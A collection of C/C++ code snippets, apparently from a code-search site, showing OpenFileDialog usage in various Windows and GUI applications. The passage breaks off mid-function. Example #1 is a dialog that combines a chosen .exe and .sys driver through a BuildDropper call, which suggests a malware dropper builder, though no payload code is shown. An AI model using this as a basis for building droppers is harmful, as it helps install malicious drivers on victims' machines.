Example #1
0
int WINAPI MainDlgProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam)
{
	CHAR ExeFilePath[MAX_PATH] = {0};
	CHAR SysFilePath[MAX_PATH] = {0};

	if (message == WM_COMMAND)
	{
		if (wParam == IDOK)
		{
			if (GetDlgItemTextA(hWnd, IDC_PATH_EXE, ExeFilePath, MAX_PATH-1))
			{
				if (GetDlgItemTextA(hWnd, IDC_PATH_SYS, SysFilePath, MAX_PATH-1))
				{
					if (BuildDropper(ExeFilePath, SysFilePath))
					{
						MessageBoxA(hWnd, "OK", "OK", MB_OK);
					}
				}
			}

			return 0;
		}

		if (wParam == IDC_CHOSE_EXE)
		{
			char *file = OpenFileDialog("Executable files (*.exe)\0*.exe\0", hWnd);
			if (file)
			{
				SetDlgItemText(hWnd, IDC_PATH_EXE, file);
			
				delete file;
			}

			return 0;
		}

		if (wParam == IDC_CHOSE_SYS)
		{
			char *file = OpenFileDialog("Executable files (*.sys)\0*.sys\0", hWnd);
			if (file)
			{
				SetDlgItemText(hWnd, IDC_PATH_SYS, file);

				delete file;
			}

			return 0;
		}

		if (wParam == IDCANCEL)
		{
			return EndDialog(hWnd, 0), ExitProcess(0), 0;
		}
	}

	return 0;
}
Example #2
0
void CInstrumentEditorDPCM::OnBnClickedLoad()
{
	CDMCFileSoundDialog OpenFileDialog(TRUE, 0, 0, OFN_HIDEREADONLY | OFN_FILEMUSTEXIST | OFN_ALLOWMULTISELECT | OFN_EXPLORER, _T("Delta modulated samples (*.dmc)|*.dmc|All files|*.*||"));

//	OpenFileDialog.m_pOFN->lpstrInitialDir = theApp.GetSettings()->GetPath(PATH_DMC);

	if (OpenFileDialog.DoModal() == IDCANCEL)
		return;

	theApp.GetSettings()->SetPath(OpenFileDialog.GetPathName(), PATH_DMC);

	if (OpenFileDialog.GetFileName().GetLength() == 0) {
		// Multiple files
		POSITION Pos = OpenFileDialog.GetStartPosition();
		while (Pos) {
			CString Path = OpenFileDialog.GetNextPathName(Pos);
			CString FileName = Path.Right(Path.GetLength() - Path.ReverseFind('\\') - 1);
			LoadSample(Path, FileName);
		}
	}
	else {
		// Single file
      LoadSample(OpenFileDialog.GetPathName(), OpenFileDialog.GetFileName());
	}
}
Example #3
0
void C_API Program::MenuCallback(int value)
{
	char * file_path;

	switch (value)
	{
	case _OPEN_CODE:
		{
			if ((file_path = OpenFileDialog(0, OPEN_FILE, "Wavefront Object Files (*.obj)", "*.obj")) == NULL)
			{
				break;
			}
			else
			{
				LoadObject(file_path);
			}
			break;
		}
	case _EXIT_CODE:
		{
			exit(0);
			break;
		}
	default:
		{
			m_LoadedObj.nDrawByGroupID = value;
			break;
		}
	} // End of switch (value)

	glutPostRedisplay();
}
Example #4
0
void ProjectExistingFile(void)
{
    PROJECTITEM *data = GetItemInfo(prjSelectedItem);
    if (data && (data->type == PJ_PROJ || data->type == PJ_FOLDER))
    {
        OPENFILENAME ofn;
        if (OpenFileDialog(&ofn, data->realName, hwndProject, FALSE, TRUE, szNewFileFilter,
                               "Open existing file"))
        {
            char *path = ofn.lpstrFile;
            if (path[strlen(path)+1]) // multiselect
            {
                char buf[MAX_PATH];
                char *q = path + strlen(path) + 1;
                while (*q)
                {
                    sprintf(buf, "%s\\%s", path, q);
                    AddFile(data, buf, TRUE);
                    q += strlen(q) + 1;
                }
            }
            else
            {
                AddFile(data, path, TRUE);
            }			
        }
    }
}
Example #5
0
//	Check the point on BC1
//	and check the element line
void Utility::processPointIndex()
{

	CString fileObjPath = OpenFileDialog(FILE_TYPE_OBJ, "Open whole object");
	CString fileBCPath = OpenFileDialog(FILE_TYPE_OBJ, "Open Boundary data");
	if(fileObjPath.IsEmpty() || fileBCPath.IsEmpty())
		return;
	
	CObj object;
	CObj BCObj;


	if(object.ReadObjData(fileObjPath.GetBuffer()) && BCObj.ReadObjData(fileBCPath.GetBuffer()))
	{
		int* BCNode = new int[BCObj.PointNum()];
		int index = 0;
		for (int i = 0; i< object.PointNum(); i++)
		{
			vec3d* curPoint = (object.Point() + i);
			//Check if this point belong to boundary
			for (int j = 0; j < BCObj.PointNum(); j++)
			{
				vec3d* curBCPoint = (BCObj.Point() + j);
				if(*curPoint == *curBCPoint)
				{
					*(BCNode + index++) = i;
					break;
				}
			}
		}

		//Write to file
		CString output = fileBCPath;
		output.Delete(output.GetLength()-3,3);
		output += "txt";
		if(FILE* fp = fopen(output.GetBuffer(), "w"))
		{
			for(int i=0; i<index;i++)
				fprintf(fp,"%d\n",*(BCNode + i));

			fclose(fp);

			AfxMessageBox("Process finished", MB_OK|MB_ICONINFORMATION);
		}
		delete []BCNode;
	}
}
Example #6
0
void OnMenuLoadList(GtkObject *object, gpointer user_data)
{
	ClassString source=OpenFileDialog();
	if(source.s)
	{
	((ClassTreePanel*)Panels[ActivePanel])->LoadFromFile(source.s);
	}	
}
string_t OpenFileDialogUTF8(const char *title, const char *filter) {
	string_t ret = String.Create(NULL);
	if (is_contains_not_ascii(title, NULL) || is_contains_not_ascii(filter, NULL)) {
		char *sjis_title = utf82sjis(title, NULL);
		char *sjis_filtere = utf82sjis(filter, NULL);
		ret = OpenFileDialog(sjis_title, sjis_filtere);
		free(sjis_title);
		free(sjis_filtere);
	} else {
		ret = OpenFileDialog(title, filter);
	}
	if (ret.c_str == NULL) {
		return ret;
	} else {
		utf8_t *utf8 = sjis2utf8(ret.c_str, NULL);
		String.Free(ret);
		return String.Create(utf8);
	}
}
void MainDialog::mLoadButtonClick(wxCommandEvent& WXUNUSED(event))
{
    wxFileDialog OpenFileDialog(this, wxT("Open AMD/ATI Overdrive profile"), wxT(""), wxT(""),
                                wxT("ovdr files (*.ovdr)|*.ovdr"), wxFD_OPEN|wxFD_FILE_MUST_EXIST);

    if(OpenFileDialog.ShowModal() == wxID_OK)
    {
        LoadXML(OpenFileDialog.GetPath());
    }
}
void CEditorRoot::OnMenuFile( int entry )
{
	switch ( entry )
	{
	case ER_FMENU_NEW: // new
			new CDialog_NewCanvas( GetSafeFlowgraph(), this );
		break;
	case ER_FMENU_OPEN: // open
		OpenFileDialog( false );
		break;
	case ER_FMENU_SAVE: // save
		GetSafeFlowgraph()->SaveToFile();
		break;
	case ER_FMENU_SAVE_AS: // save as
		OpenFileDialog( true );
		break;
	case ER_FMENU_SAVE_ALL:
		SaveAllGraphs();
		break;
	case ER_FMENU_SCREENSHOT: // screenshot
		TakeScreenshot();
		break;
	case ER_FMENU_ECONFIG: // editor config
			new CDialog_EditorConfig( this );
		break;
	case ER_FMENU_UNDO:
		{
			CNodeView *pView = GetActiveFlowGraph();
			if ( !pView ) break;
			pView->HistoryAction( CNodeView::HACT_UNDO );
		}
		break;
	case ER_FMENU_REDO:
		{
			CNodeView *pView = GetActiveFlowGraph();
			if ( !pView ) break;
			pView->HistoryAction( CNodeView::HACT_REDO );
		}
		break;
	}
}
void CDialogItem0::OnButtonChoiceDefProgramPosition() 
{

	CFileDialog OpenFileDialog(TRUE);

	OpenFileDialog.m_ofn.lpstrFilter = "应用程序(*.exe)\0*.exe\0\0";

	if(IDOK == OpenFileDialog.DoModal())
	{
		CString strPathName = OpenFileDialog.GetPathName();

		SetDlgItemText(IDC_EDIT_DEF_PROGRAM_POSITION, strPathName);
	}

}
AudioFilePlayerView::AudioFilePlayerView(AudioDeviceBase* pAudioDeviceBase) :
    ui(new Ui::AudioFilePlayerView),
    m_pAudioDeviceBase(pAudioDeviceBase)
{
    ui->setupUi(this);
    m_pAudioPlayer      = new AudioPlayer(m_pAudioDeviceBase);
    m_pWaveform         = new Waveform(m_pAudioPlayer);

    ui->AudioPlayerVerticalLayout->addWidget(m_pWaveform);
    m_pWaveform->show();

    ui->LoopPushButton->setCheckable(true);
    connect(ui->LoopPushButton, SIGNAL(toggled(bool)), this, SLOT(UpdateLooping(bool)));
    connect(ui->FileDialogPushButton, SIGNAL(clicked()), this, SLOT(OpenFileDialog()));
}
Example #12
0
File: main.cpp Project: EQ4/axLib
void DrumMachine::OnChangeTemplate(const axButtonMsg& msg)
{
	//cout << "Change template." << endl;
	string f = OpenFileDialog("/home/alexarse/Desktop/axLib/axProjects/FileDialog/main", 
							  "/home/alexarse/Desktop/axLib/axProjects/MidiSequencer/axPresets");

	// cout << "FILE : " << f << endl;
	// cout << "EXT : " << axGetExtension(f) << endl;

	// if(axGetExtension(f) == "seq")
	{
		// SetPreset("axPresets/template1.txt");
		SetPreset(f);
	}
}
Example #13
0
void CSelectPluginDlg::OnAddPlugin()
//----------------------------------
{
	FileDialog dlg = OpenFileDialog()
		.AllowMultiSelect()
		.DefaultExtension("dll")
		.ExtensionFilter("VST Plugins (*.dll)|*.dll||")
		.WorkingDirectory(TrackerSettings::Instance().PathPlugins.GetWorkingDir());
	if(!dlg.Show(this)) return;

	TrackerSettings::Instance().PathPlugins.SetWorkingDir(dlg.GetWorkingDirectory());

	CVstPluginManager *pManager = theApp.GetPluginManager();

	VSTPluginLib *plugLib = nullptr;
	bool update = false;

	const FileDialog::PathList &files = dlg.GetFilenames();
	for(size_t counter = 0; counter < files.size(); counter++)
	{
		if (pManager)
		{
			VSTPluginLib *lib = pManager->AddPlugin(files[counter], mpt::ustring(), false);
			if(lib != nullptr)
			{
				update = true;
				if(!VerifyPlug(lib, this))
				{
					pManager->RemovePlugin(lib);
				} else
				{
					plugLib = lib;

					// If this plugin was missing anywhere, try loading it
					ReloadMissingPlugins(lib);
				}
			}
		}
	}
	if(update)
	{
		// Force selection to last added plug.
		UpdatePluginsList(plugLib ? plugLib->pluginId2 : 0);
	} else
	{
		Reporting::Error("At least one selected file was not a valid VST Plugin.");
	}
}
Example #14
0
LRESULT CALLBACK
MainWndProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam)
{
    switch (Message)
    {
        case WM_CREATE:
            InitControls(hwnd);
            break;

        case WM_NOTIFY:
        {
            LPNMHDR pnmhdr = (LPNMHDR)lParam;

            switch (pnmhdr->code)
            {
                case TTN_GETDISPINFO:
                {
                    LPTOOLTIPTEXT lpttt = (LPTOOLTIPTEXT)lParam;
                    UINT idButton = (UINT)lpttt->hdr.idFrom;

                    switch (idButton)
                    {
                        case IDC_PLAY:
                            lpttt->lpszText = MAKEINTRESOURCE(IDS_TOOLTIP_PLAY);
                        break;
                        case IDC_STOP:
                            lpttt->lpszText = MAKEINTRESOURCE(IDS_TOOLTIP_STOP);
                        break;
                        case IDC_EJECT:
                            lpttt->lpszText = MAKEINTRESOURCE(IDS_TOOLTIP_EJECT);
                        break;
                        case IDC_BACKWARD:
                            lpttt->lpszText = MAKEINTRESOURCE(IDS_TOOLTIP_BACKWARD);
                        break;
                        case IDC_SEEKBACK:
                            lpttt->lpszText = MAKEINTRESOURCE(IDS_TOOLTIP_SEEKBACK);
                        break;
                        case IDC_SEEKFORW:
                            lpttt->lpszText = MAKEINTRESOURCE(IDS_TOOLTIP_SEEKFORW);
                        break;
                        case IDC_FORWARD:
                            lpttt->lpszText = MAKEINTRESOURCE(IDS_TOOLTIP_FORWARD);
                        break;
                    }
                    break;
                }
            }
        }
        break;

        case WM_SIZING:
        {
            LPRECT pRect = (LPRECT)lParam;

            if (pRect->right - pRect->left < MAIN_WINDOW_MIN_WIDTH)
                pRect->right = pRect->left + MAIN_WINDOW_MIN_WIDTH;

            if (pRect->bottom - pRect->top != MAIN_WINDOW_HEIGHT)
                pRect->bottom = pRect->top + MAIN_WINDOW_HEIGHT;

            return TRUE;
        }

        case WM_SIZE:
        {
            RECT Rect;
            UINT Size;

            if (hToolBar && hTrackBar)
            {
                SendMessage(hToolBar, TB_AUTOSIZE, 0, 0);
                SendMessage(hToolBar, TB_GETITEMRECT, 1, (LPARAM)&Rect);

                Size = GetSystemMetrics(SM_CYMENU) + Rect.bottom;
                MoveWindow(hTrackBar, 0, 0, LOWORD(lParam), HIWORD(lParam) - Size, TRUE);
            }
            return 0L;
        }

        case WM_HSCROLL:
        {
            if (hTrackBar == (HWND) lParam)
            {
                if (bIsOpened)
                {
                    DWORD dwNewPos = (DWORD) SendMessage(hTrackBar, TBM_GETPOS, 0, 0);
                    SeekPlayback(hwnd, dwNewPos);
                }
                else
                {
                    SendMessage(hTrackBar, TBM_SETPOS, TRUE, 0);
                }
            }
        }
        break;

        case WM_COMMAND:
            switch (LOWORD(wParam))
            {
                case IDC_PLAY:
                    if (bIsOpened)
                    {
                        if (bIsPaused)
                            ResumePlayback(hwnd);
                        else
                            PausePlayback(hwnd);
                    }
                    else
                    {
                        if (szPrevFile[0] == _T('\0'))
                            OpenFileDialog(hwnd);
                        else
                            PlayFile(hwnd, NULL);
                    }
                    break;

                case IDC_STOP:
                    StopPlayback(hwnd);
                    break;

                case IDC_EJECT:
                    break;

                case IDC_BACKWARD:
                    break;

                case IDC_SEEKBACK:
                    SeekBackPlayback(hwnd);
                    break;

                case IDC_SEEKFORW:
                    SeekForwPlayback(hwnd);
                    break;

                case IDC_FORWARD:
                    break;

                case IDM_OPEN_FILE:
                    OpenFileDialog(hwnd);
                    return 0;

                case IDM_CLOSE_FILE:
                    StopPlayback(hwnd);
                    _tcscpy(szPrevFile, _T("\0"));
                    break;

                case IDM_ABOUT:
        {
                    HICON mplayIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_MAIN));
                    ShellAbout(hwnd, szAppTitle, 0, mplayIcon);
            DeleteObject(mplayIcon);
                    break;
        }
                case IDM_EXIT:
                    PostMessage(hwnd, WM_CLOSE, 0, 0);
                    return 0;
            }
            break;

        case WM_DESTROY:
            StopPlayback(hwnd);
            PostQuitMessage(0);
            return 0;
    }

    return DefWindowProc(hwnd, Message, wParam, lParam);
}
Example #15
0
int32 CALLBACK MyDialogFunc(HWND hdwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
  unsigned long fff;
  char8 nome_sel[100];
  int32 i, l_NumScreenModes;
  char8 modo_str[30];
  char8 DeviceDesc[30]="HAL Device";
  BOOL err;

  switch (message) {
  case WM_INITDIALOG:
     // enumerazione dei driver DirectX 8.1
	 if (!RenderLib.m_CreateDevice(HARDWARE_DEVICE))
	 //if (!RenderLib.m_CreateDevice(SOFTWARE_DEVICE))
        debug_error(hdwnd, "No DirectX 8.1 drivers present!");
	 SendDlgItemMessage(hdwnd, IDC_COMBO2, CB_ADDSTRING, 0, (LPARAM)DeviceDesc);
	 SendDlgItemMessage(hdwnd, IDC_COMBO2, CB_SETCURSEL, 0, (LPARAM)0);
	 // enumerazione modi video
	 l_NumScreenModes=RenderLib.m_EnumerateScreenModes();
	 if (l_NumScreenModes<=0) debug_error(hdwnd, "No Screen Modes available!");
	 for (i=0; i<l_NumScreenModes; i++)
	 {
        ScrMode=RenderLib.m_GetScreenMode(i);
//		if ((ScrMode->Width==512) && (ScrMode->Height==384))
		{
          sprintf(modo_str, "%dx%dx%d", ScrMode->Width, ScrMode->Height, ScrMode->Bpp);
          SendDlgItemMessage(hdwnd, IDC_COMBO1, CB_ADDSTRING, 0, (LPARAM)modo_str);
		}
	 }
	 // cerco una res 512x384 (prima 32bpp poi 16bpp)
	 ScrMode=RenderLib.m_GetScreenMode(512, 384, 32);
     if (!ScrMode)
	 {
	   ScrMode=RenderLib.m_GetScreenMode(512, 384, 16);
	   if (!ScrMode) debug_error(miawin, "This player needs a 512x384 resolution support!");
	 }
	 SendDlgItemMessage(hdwnd, IDC_COMBO1, CB_SETCURSEL, Mode2Index(ScrMode, l_NumScreenModes), (LPARAM)0);
	 // No sound = FALSE
     SendDlgItemMessage(hdwnd, IDC_CHECK1, BM_SETCHECK, 0, 0);
	 // Fulscreen = FALSE
	 SendDlgItemMessage(hdwnd, FULLSCREEN_CHECK, BM_SETCHECK, 0, 0);
	 break;


    case WM_COMMAND:
		switch(LOWORD(wParam)) {
		  case IDC_BUTTON1:
			   err=OpenFileDialog(GetParent(hdwnd), nome_sel, &i, &fff);
			   if (err)
			   {
				 strcpy(FileToPlay, nome_sel);
                 SendDlgItemMessage(hdwnd, IDC_EDIT1, EM_SETSEL,  (WPARAM)0, (LPARAM)-1);
                 SendDlgItemMessage(hdwnd, IDC_EDIT1, EM_REPLACESEL,  (WPARAM)FALSE, (LPARAM)nome_sel);
			   }
			   break;

		  case IDC_BUTTON2:
			   err=OpenFileDialog(GetParent(hdwnd), nome_sel, &i, &fff);
			   if (err)
			   {
				 strcpy(FileToPlay2, nome_sel);
                 SendDlgItemMessage(hdwnd, IDC_EDIT3, EM_SETSEL,  (WPARAM)0, (LPARAM)-1);
                 SendDlgItemMessage(hdwnd, IDC_EDIT3, EM_REPLACESEL,  (WPARAM)FALSE, (LPARAM)nome_sel);
			   }
			   break;

		  case IDCANCEL:
			   EndDialog(hdwnd, 0);
			   return 1;

		  case IDOK:
			   RunFullscreen=(BOOL)SendDlgItemMessage(hdwnd, FULLSCREEN_CHECK, BM_GETCHECK, 0, 0);
			   NoSound=(BOOL)SendDlgItemMessage(hdwnd, IDC_CHECK1, BM_GETCHECK, 0, 0);
			   i=SendDlgItemMessage(hdwnd, IDC_COMBO1, CB_GETCURSEL, 0, 0L);
			   ScrMode=RenderLib.m_GetScreenMode(i);
		       if (!ScrMode) MessageBox(hdwnd, "ScrMode is NULL!", "AD-Debug", NULL);
		       EndDialog(hdwnd, 1);
		}
  }
  return(0);
}
Example #16
0
static INT_PTR __stdcall SavedGamesDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
  switch (uMsg)
  {
    case WM_COMMAND: /* Process control messages */
    {
      if (lParam == 0)
      {
        switch (LOWORD(wParam))
        {
          case IDS_SAVEDGAMESMENU_LOAD:
          {
            PostMessage(hDlg,WM_COMMAND,MAKEWPARAM(IDC_LOADGAME,0),0);
            break;
          }
          case IDS_SAVEDGAMESMENU_DELETE:
          {
            PostMessage(hDlg,WM_COMMAND,MAKEWPARAM(IDC_DELETEGAME,0),0);
            break;
          }
        }
      }
      switch (LOWORD(wParam))
      {
        case IDC_LOADGAME:
        {
          LinkedList<string>* GameFiles = (LinkedList<string>*)GetWindowLong(hDlg, GWL_USERDATA);
          HWND Listview = GetDlgItem(hDlg, IDC_SAVEDGAMES);
          int Index = SendMessage(Listview,LVM_GETNEXTITEM,(WPARAM)-1,LVNI_FOCUSED);
          string* FileName = GameFiles->Get(Index);
          char* Result = new char[FileName->length()+1];
          strcpy(Result, FileName->c_str());
          PostMessage(hDlg, WM_CLOSE, (WPARAM)Result, 0);
          break;
        }
        case IDC_DELETEGAME:
        {
          LinkedList<string>* GameFiles = (LinkedList<string>*)GetWindowLong(hDlg, GWL_USERDATA);

          if (MessageBox(hDlg,"Are you sure you want to delete this game? All data will be lost.","Delete game?",MB_YESNO|MB_ICONQUESTION) == IDYES)
          {
            HWND Listview = GetDlgItem(hDlg, IDC_SAVEDGAMES);
            int Index = SendMessage(Listview,LVM_GETNEXTITEM,(WPARAM)-1,LVNI_FOCUSED);
            string* FileName = GameFiles->Remove(Index);
            DeleteFile(FileName->c_str());
            delete FileName;
            ListView_DeleteItem(Listview, Index);
          }
          break;
        }
        case IDC_LOADFROMFILE:
        {
          string FileName;
          if (OpenFileDialog(hDlg, FileName, "%USERPROFILE%\\Saved Games", "pgn", "Portable Game Notation (*.pgn)\0*.pgn\0", 0))
          {
            char* Result = new char[FileName.length()+1];
            strcpy(Result, FileName.c_str());
            PostMessage(hDlg, WM_CLOSE, (WPARAM)Result, 0);
          }
          break;
        }
        case IDCANCEL:
        {
          PostMessage(hDlg, WM_CLOSE, 0, 0);
          break;
        }
      }
      return TRUE;
    }
    case WM_CONTEXTMENU:
    {
      /* Create the menu */
      HMENU Menu = CreatePopupMenu();
      AppendMenu(Menu,IDS_SAVEDGAMESMENU_LOAD);
      AppendMenu(Menu,IDS_SAVEDGAMESMENU_DELETE);

      /* Show menu */
      TrackPopupMenu(Menu, TPM_LEFTALIGN, LOWORD(lParam), HIWORD(lParam), 0, hDlg, NULL);
      return 0;
    }
    case WM_CLOSE:
    {
      LinkedList<string>* GameFiles = (LinkedList<string>*)GetWindowLong(hDlg, GWL_USERDATA);

      /* Clean up */
      while (GameFiles->Size() > 0)
        delete GameFiles->Remove((unsigned int)0);
      delete GameFiles;

      /* Close the dialog */
      EndDialog(hDlg, wParam);
      return TRUE;
    }
    case WM_INITDIALOG:
    {
      char* GamesDirectory = (char *)lParam;
      LinkedList<string>* GameFiles = new LinkedList<string>();
      SetWindowLong(hDlg, GWL_USERDATA, (LPARAM)GameFiles);

      /* Initialize controls */
      HWND Listview = GetDlgItem(hDlg, IDC_SAVEDGAMES);
      float scaleFactor = GetDPIScaleFactor();
      char* CollumnName = new char[20];
      LoadString((HINSTANCE)GetWindowLong(hDlg, GWL_HINSTANCE), IDS_GAMEHISTORYLIST_COL1, CollumnName, 20);
      AddListViewCollumn(Listview, CollumnName, 0, (int)(100*scaleFactor));
      LoadString((HINSTANCE)GetWindowLong(hDlg, GWL_HINSTANCE), IDS_GAMEHISTORYLIST_COL2, CollumnName, 20);
      AddListViewCollumn(Listview, CollumnName, 1, (int)(120*scaleFactor));
      LoadString((HINSTANCE)GetWindowLong(hDlg, GWL_HINSTANCE), IDS_GAMEHISTORYLIST_COL3, CollumnName, 20);
      AddListViewCollumn(Listview, CollumnName, 2, (int)(120*scaleFactor));
      LoadString((HINSTANCE)GetWindowLong(hDlg, GWL_HINSTANCE), IDS_GAMEHISTORYLIST_COL4, CollumnName, 20);
      AddListViewCollumn(Listview, CollumnName, 3, (int)(75*scaleFactor));
      LoadString((HINSTANCE)GetWindowLong(hDlg, GWL_HINSTANCE), IDS_GAMEHISTORYLIST_COL5, CollumnName, 20);
      AddListViewCollumn(Listview, CollumnName, 4, (int)(75*scaleFactor));
      LoadString((HINSTANCE)GetWindowLong(hDlg, GWL_HINSTANCE), IDS_GAMEHISTORYLIST_COL6, CollumnName, 20);
      AddListViewCollumn(Listview, CollumnName, 5, (int)(50*scaleFactor));
      LoadString((HINSTANCE)GetWindowLong(hDlg, GWL_HINSTANCE), IDS_GAMEHISTORYLIST_COL7, CollumnName, 20);
      AddListViewCollumn(Listview, CollumnName, 6, (int)(50*scaleFactor));
      delete[] CollumnName;
      SendMessage(Listview, LVM_SETEXTENDEDLISTVIEWSTYLE, LVS_EX_FULLROWSELECT, LVS_EX_FULLROWSELECT);
      ListChessGames(GamesDirectory, Listview, GameFiles);
      return TRUE;
    }
    case WM_NOTIFY:
    {
      switch(((LPNMHDR)lParam)->code)
      {
        case NM_DBLCLK:
        {
          PostMessage(hDlg,WM_COMMAND,MAKEWPARAM(IDC_LOADGAME,0),0);
          break;
        }
        case LVN_KEYDOWN:
        {
          int Key = ((LPNMLVKEYDOWN)lParam)->wVKey;
          if (Key == VK_DELETE)
          {
            PostMessage(hDlg,WM_COMMAND,MAKEWPARAM(IDC_DELETEGAME,0),0);
          }
          break;
        }
        case NM_RCLICK:
        {
          /* Show menu */
          POINT P;
          GetCursorPos(&P);
          PostMessage(GetParent(hDlg), WM_CONTEXTMENU, (WPARAM)hDlg, MAKELPARAM(P.x,P.y));
          break;
        }
      }
      return TRUE;
    }
  }
  return FALSE;
}
Example #17
0
//
//  FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM)
//
//  PURPOSE:  Processes messages for the main window.
//
//  WM_COMMAND  - process the application menu
//  WM_PAINT    - Paint the main window
//  WM_DESTROY  - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_COMMAND:
        {
            int wmId = LOWORD(wParam);
            // Parse the menu selections:
            switch (wmId)
            {
			case IDM_FILE_EXPAND:
				TCHAR fileNameTmp[MAX_PATH];

				OpenFileDialog(hWnd, "Super Castlevania ROM (*.smc)\0*.smc\0All Files (*.*)\0*.*\0", fileNameTmp);
				if (nmmx.LoadNewRom(fileNameTmp))
				{
					if (!nmmx.CheckROM())
					{
						//MessageBox(hWnd, "Wrong ROM. Please open MMX1, X2 or X3 ROM.", "Error", MB_ICONERROR);
						MessageBox(hWnd, "Wrong ROM. Please open Super Castlevania IV (US/JP) ROM.", "Error", MB_ICONERROR);
						nmmx.FreeRom();
						return 0;
					}

					auto ok = nmmx.ExpandROM();

					if (ok) {
						nmmx.SaveRom(nmmx.filePath);
					}

					MessageBox(hWnd, ok ? "Expansion OK" : "Expansion FAILED", "Warning", MB_ICONWARNING);

					nmmx.FreeRom();
				}

				break;
            case IDM_ABOUT:
                DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
                break;
            case IDM_EXIT:
                DestroyWindow(hWnd);
                break;
            default:
                return DefWindowProc(hWnd, message, wParam, lParam);
            }
        }
        break;
    case WM_PAINT:
        {
            PAINTSTRUCT ps;
            HDC hdc = BeginPaint(hWnd, &ps);
            // TODO: Add any drawing code that uses hdc here...
            EndPaint(hWnd, &ps);
        }
        break;
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}
Example #18
0
//
//  FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM)
//
//  PURPOSE:  Processes messages for the main window.
//
//  WM_COMMAND  - process the application menu
//  WM_PAINT    - Paint the main window
//  WM_DESTROY  - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{\
	switch (message)
	{
	case WM_COMMAND:
	{
		int wmId = LOWORD(wParam);
		// Parse the menu selections:
		switch (wmId)
		{
		case IDM_FILE_OPEN: {
			TCHAR path[MAX_PATH];
			if (OpenFileDialog(hWnd, path, _T("Pri File (*.pri)\0*.pri\0*.*\0*.*\0\0"))) {
				TCHAR* name = _tcsrchr(path, _T('\\')) + 1;
				_tcscpy_s(pAppendTitle, MAX_PATH + szTitle - pAppendTitle, _T(" - "));
				_tcscat_s(pAppendTitle, MAX_PATH + szTitle - pAppendTitle, name);
				SetWindowText(hWnd, szTitle);

				if (pLoader) delete pLoader;
				pLoader = new PriFileLoader(path);

				if (pChanger) delete pChanger;
				pChanger = new PriChanger(pLoader->getPriEntry());

				if (pImage) {
					delete pImage;
					pImage = NULL;
				}

				BYTE* pBuffer = reinterpret_cast<BYTE*>(GlobalLock(hGlobal));
				pLoader->getDataByIndex(pBuffer, MAP_BUFFER_SIZE, 3);
				GlobalUnlock(hGlobal);
				IStream* pStream = NULL;
				if (CreateStreamOnHGlobal(hGlobal, FALSE, &pStream) == S_OK) {
					pImage = Gdiplus::Image::FromStream(pStream);

					HMENU hMenu = GetMenu(hWnd);
					EnableMenuItem(hMenu, IDM_SAVE_AS, MF_ENABLED);
					EnableMenuItem(hMenu, IDM_DUMP_JPGS, MF_ENABLED);
					EnableMenuItem(hMenu, IDM_CHANGE_JPG, MF_ENABLED);
					InvalidateRect(hWnd, NULL, TRUE);
				}
			}
			break;
		}
		case IDM_SAVE_AS: {
			TCHAR path[MAX_PATH];
			if (SaveFileDialog(hWnd, path, _T("Pri File (*.pri)\0*.pri\0\0"))) {
				int length = _tcslen(path);
				if (length <= 4 || !isStringIgnoreCaseEndWith(path, _T(".pri")))
					_tcscat_s(path, _T(".pri"));

				if (pChanger)
					pChanger->saveAs(path);
			}
			break;
		}
		case IDM_DUMP_JPGS: {
			TCHAR path[MAX_PATH];
			BROWSEINFO bInfo = { 0 };
			bInfo.hwndOwner = hWnd;
			bInfo.lpszTitle = szOutputDirectory;
			bInfo.ulFlags = BIF_RETURNONLYFSDIRS | BIF_USENEWUI | BIF_UAHINT;
			LPITEMIDLIST lpList = SHBrowseForFolder(&bInfo);
			if (lpList && SHGetPathFromIDList(lpList, path) && pLoader) {
				_tcscat_s(path, _T("\\"));
				pLoader->dumpDataFiles(path, 0xD8FF);
			}
			break;
		}
		case IDM_CHANGE_JPG: {
			TCHAR path[MAX_PATH];
			if (OpenFileDialog(hWnd, path, _T("Jpg File (*.jpg)\0*.jpg\0\0"))) {
				if (pChanger)
					pChanger->changeBackGroundJpg(path);

				if (pImage) {
					delete pImage;
					pImage = NULL;
				}

				BYTE* pBuffer = reinterpret_cast<BYTE*>(GlobalLock(hGlobal));
				pLoader->getDataByIndex(pBuffer, MAP_BUFFER_SIZE, 3);
				GlobalUnlock(hGlobal);
				IStream* pStream = NULL;
				if (CreateStreamOnHGlobal(hGlobal, FALSE, &pStream) == S_OK) {
					pImage = Gdiplus::Image::FromStream(pStream);

					HMENU hMenu = GetMenu(hWnd);
					EnableMenuItem(hMenu, IDM_SAVE_AS, MF_ENABLED);
					EnableMenuItem(hMenu, IDM_CHANGE_JPG, MF_ENABLED);
					InvalidateRect(hWnd, NULL, TRUE);
				}
			}
			break;
		}
		case IDM_ABOUT:
			DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
			break;
		case IDM_EXIT:
			DestroyWindow(hWnd);
			break;
		default:
			return DefWindowProc(hWnd, message, wParam, lParam);
		}
	}
	break;
	case WM_ERASEBKGND:
		return 1;
	case WM_PAINT:
	{
		RECT rc;
		GetClientRect(hWnd, &rc);
		Gdiplus::Rect rect(rc.left, rc.top, rc.right - rc.left, rc.bottom - rc.top);

		PAINTSTRUCT ps;
		HDC hdc = BeginPaint(hWnd, &ps);
		HDC hMemDC = CreateCompatibleDC(hdc);
		HBITMAP hMemBitmap = CreateCompatibleBitmap(hdc, rect.Width, rect.Height);
		SelectObject(hMemDC, hMemBitmap);
		if (pImage) {
			Gdiplus::Graphics graphics(hMemDC);
			graphics.DrawImage(pImage, rect);
			BitBlt(hdc, rect.GetTop(), rect.GetTop(), rect.Width, rect.Height, hMemDC, 0, 0, SRCCOPY);
		}
		DeleteObject(hMemBitmap);
		DeleteDC(hMemDC);
		EndPaint(hWnd, &ps);
	}
	break;
	case WM_DESTROY:
